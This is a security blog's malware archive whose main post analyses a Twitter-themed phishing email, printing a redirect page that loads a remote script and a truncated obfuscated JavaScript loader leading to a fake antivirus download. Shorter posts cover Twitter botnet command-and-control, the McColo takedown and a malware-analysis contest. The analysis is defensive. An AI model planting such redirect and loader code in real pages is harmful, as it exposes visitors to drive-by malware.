Category Archives: Malware

Interesting New Twitter Phish Can Lead to Bad Places

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I’ve had several fake emails that initially look like they come from Twitter in my email recently.  I didn’t think anything of it until several of my friends forwarded me the same type of emails.  This suggests two things.  One, that these emails are starting to hit a larger audience.  Or two, they are targeting just my friends and I which is totally possible. 🙂 Anyway, here is a quick bit of analysis of one of these emails.  I found some interesting things when I investigated the website linked in the fake email.  The link in this particular could have done more damage if it wasn’t for some crappy attacker code.  Read on!

The Email
The following screen shot shows you what the email looks like.  It seems to come from Twitter but you will notice that there are some interesting clues that tell you this isn’t real.  First, the Twitter account mentioned is just the first part of the email address this was sent to.  This may or may not be your Twitter ID.  Second, check out the “Britney Spears home video feedback” subject line and “Antidepressants for your bed vigor” bold red in the message body.  Yep.  All the signs that this isn’t from Twitter.  Ok, nothing to see here right?

The Link
When you look at the source of the email, the link actually goes to “hxxp://”. If you do click on this link several things happen:

An HTML page is loaded which redirects you to a shady Russian software site.  This site ( has a ton of phisy looking domains that were assigned to it since 6/11/2010.  The HTML file also loads a script which runs a PHP file on another server.  Let’s take a look at the response:

HTTP/1.0 200 OK
Connection: close
Content-Length: 250
Content-Type: text/html
Date: Wed, 23 Jun 2010 15:09:53 GMT
Last-Modified: Wed, 23 Jun 2010 08:30:01 GMT
Server: IdeaWebServer/v0.70

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=hxxp://”>

</head></html><script src=hxxp:// ></script>

The Russian software site loads as normal but something else is going on in the background from and that PHP file.  Here is the response:

HTTP/1.1 200 OK
Connection: close
Date: Wed, 23 Jun 2010 17:46:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=1287414902; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/javascript

// <script>
function cxx(wcH){return wcH.replace(/%/g,”).replace(/[‘ow:Y]/g,fUp)}
cPH7j=’d:6fcY75meY6et.Y77rio74w65(Y22o3cdiv stylew3d:5cY22pw6fsitio6fnY3aaw62so6fl:75o74Y65o3b lefto3a:2d1000pxY3bw20tY6fp:3aw2d10w300pxw3bo5cw22:3ew22Y29w3b:66unctiY6fn :6973(a)o7bdY6fcu:6deY6et.w77rw69te(:22:3cifrao6d:65w20srcw3do5co22httw70Y3ao2f <SNIP>

All of the stuff following the script tag is obfuscated JavaScript.  I cut most of it out as it is quite lengthy.  Running this through jsunpack (a JavaScript unpacker) the script tries to load several things including some VBScript that seems to check for system properties, if you are running Firefox and if you have Java and/or Flash enabled as well as what seems to be a check for Adobe Reader plug-ins.  You can check out the script and the unpacked version over at the jsunpack site.

Now this is where it gets interesting.  In Internet Explorer the PHP file seems to generate a request to a URI that doesn’t exist: hxxp://, it 404’s.  You can also see this in the Wireshark capture below:

In Firefox it’s a different story.  The Russian software site still loads and something else attempts to get requested:


This site will lead to some fun “fake AV” which prompts you to download a “setup.exe” file.

You probably don’t want to run that file.  The good news is that if you have the latest version of Firefox it will note this as a reported web forgery and tries to prevent you from going there.  One problem I see is that if you are running an older version of Firefox you might not get this notification.  I haven’t tested this with other browsers but your results may vary.

What does this all mean?  Well of course don’t click on shady emails like this.  You know better right?  Also, don’t think that because you use Firefox you are safe from attacks like these!  Attackers are catching on and I would suspect we will see more attacks targeting multiple browsers besides IE.  Wait, too late isn’t it?  Special thanks to Greg and Tyler for providing intel about these domains and some of the analysis.

Old News: Twitter can be used for Botnet Command & Control

Filed under Hacking, Malware, Social Networks
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Shocking but true…today a researcher discovered that Twitter has been used for command and control of a botnet which may have been used by Brazilian hackers to steal online banking login information.  Kudos to the researcher, Jose Nazario, who found this.  It was an interesting read to say the least.  The bot would basically look for base64 encoded commands on a Twitter account to download malware via RSS feeds with obfuscated (shortened) URL’s.  Interesting…sounds a lot like Robin Wood’s tool KreiosC2 which was released at DEFCON 17.  I even did this demo showing what else? Base64 encoded commands.  Ironically, I showed off the first version of this code at Notacon 6 back in April of this year.  Keep in mind, KreiosC2 can be used for legitimate tasks like controlling things at home remotely via Twitter.  I highly recommend you read Robin’s detailed write-up on how KreiosC2 functions.

What I find fascinating (like most things in security) is that now that there has been a real confirmed case of using Twitter for botnet C2 (Command & Control) the media seems to be jumping on it and even trying to determine “why it took so long for hackers to take Twitter to the dark side”.  Well, you can’t say we didn’t warn you.

The point that Robin, myself and others were trying to make way back in April was that this is a real threat and the bad guys have probably started to use Twitter for C2 even before Robin put out the code!  We were hoping that by releasing the code Twitter (and others) would see this as perhaps an early warning of things to come and perhaps prepare some defense for it (yes, we know it’s hard to put a defense together for something like this).  Now that we have a confirmed case used for malicious purposes we hope Twitter takes this seriously and can combat future C2 channels used for very bad things.  It always takes something bad to happen to create change…where have you heard that before? 🙂

Fighting the good fight!

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Hey…I actually found a few minutes for a quick blog post! 🙂

Just a quick post to check out the report that my friend and malware researcher Greg Feezel was mentioned in a report over at He contributed data to this report. The report was on the McColo web hosting firm which is apparently responsible for sending 75% of spam world wide! If you didn’t know, McColo was taken offline a few days ago and there has been a massive decrease in spam across the Internet. If you want more information on McColo check out Brian Kreb’s article here. Brian is actually one of the guys that helped shut this firm down based on some of the reporting he did.

Goes to show you that we can do some good as security professionals if we all work together!

Malware challenge has started!

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Just a reminder to head over to to start the malware challenge that was mentioned on the last Security Justice podcast as well as a blog post that I did a few days ago. The contest runs from October 1st – 26th and is open to everyone! May the force be with you…

Malware Challenge begins October 1st!

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Tyler (aka: The Security Shoggoth) announced on the Security Justice podcast last week about the “Malware Challenge” that begins October 1st. I think this is a great idea and is a fantastic way to learn about how malware works and how to analyze it.

Via The Security Shoggoth:

“Starting from October 1, 2008 and ending October 26, 2008 we will be running a malware analysis challenge at In the challenge participants will download a malware sample to analyze. The site will have a list of questions for participants to answer and send in. We will judge the answers and those scoring the highest will win prizes.”

Yes, this is a real piece of malware that you will analyze! More about the malware and the contest:

“Participants in the malware challenge will download the malware, analyze it and answer questions based on their findings. The answers to these questions will be evaluated by the judges in order to determine who the winners are. At a minimum, submissions should include the answers to the questions. However, submissions which also include a narrative on such things as how the malware was analyzed or how the analysis lab was set up will be more likely to win. Be creative.”

What are the prizes? So far they have a Best Buy gift card, IDA Pro Book, Full version of IDA Pro software, Hacker game from Steve Jackson Games and many more prizes as well. For the most up-to-date-list, check here.

Even if you have never analyzed malware before…everyone is encouraged to participate! This is a great way to learn about how malware works and also a way to develop a new emerging skill set! The contest site has some links for you to get started if you never did malware type analysis so you have some place to start. Winners will be announced at the 2008 Ohio Information Security Summit on October 31st. You don’t need to present to win but there will be special prizes for those that can be there. Good luck to everyone participating!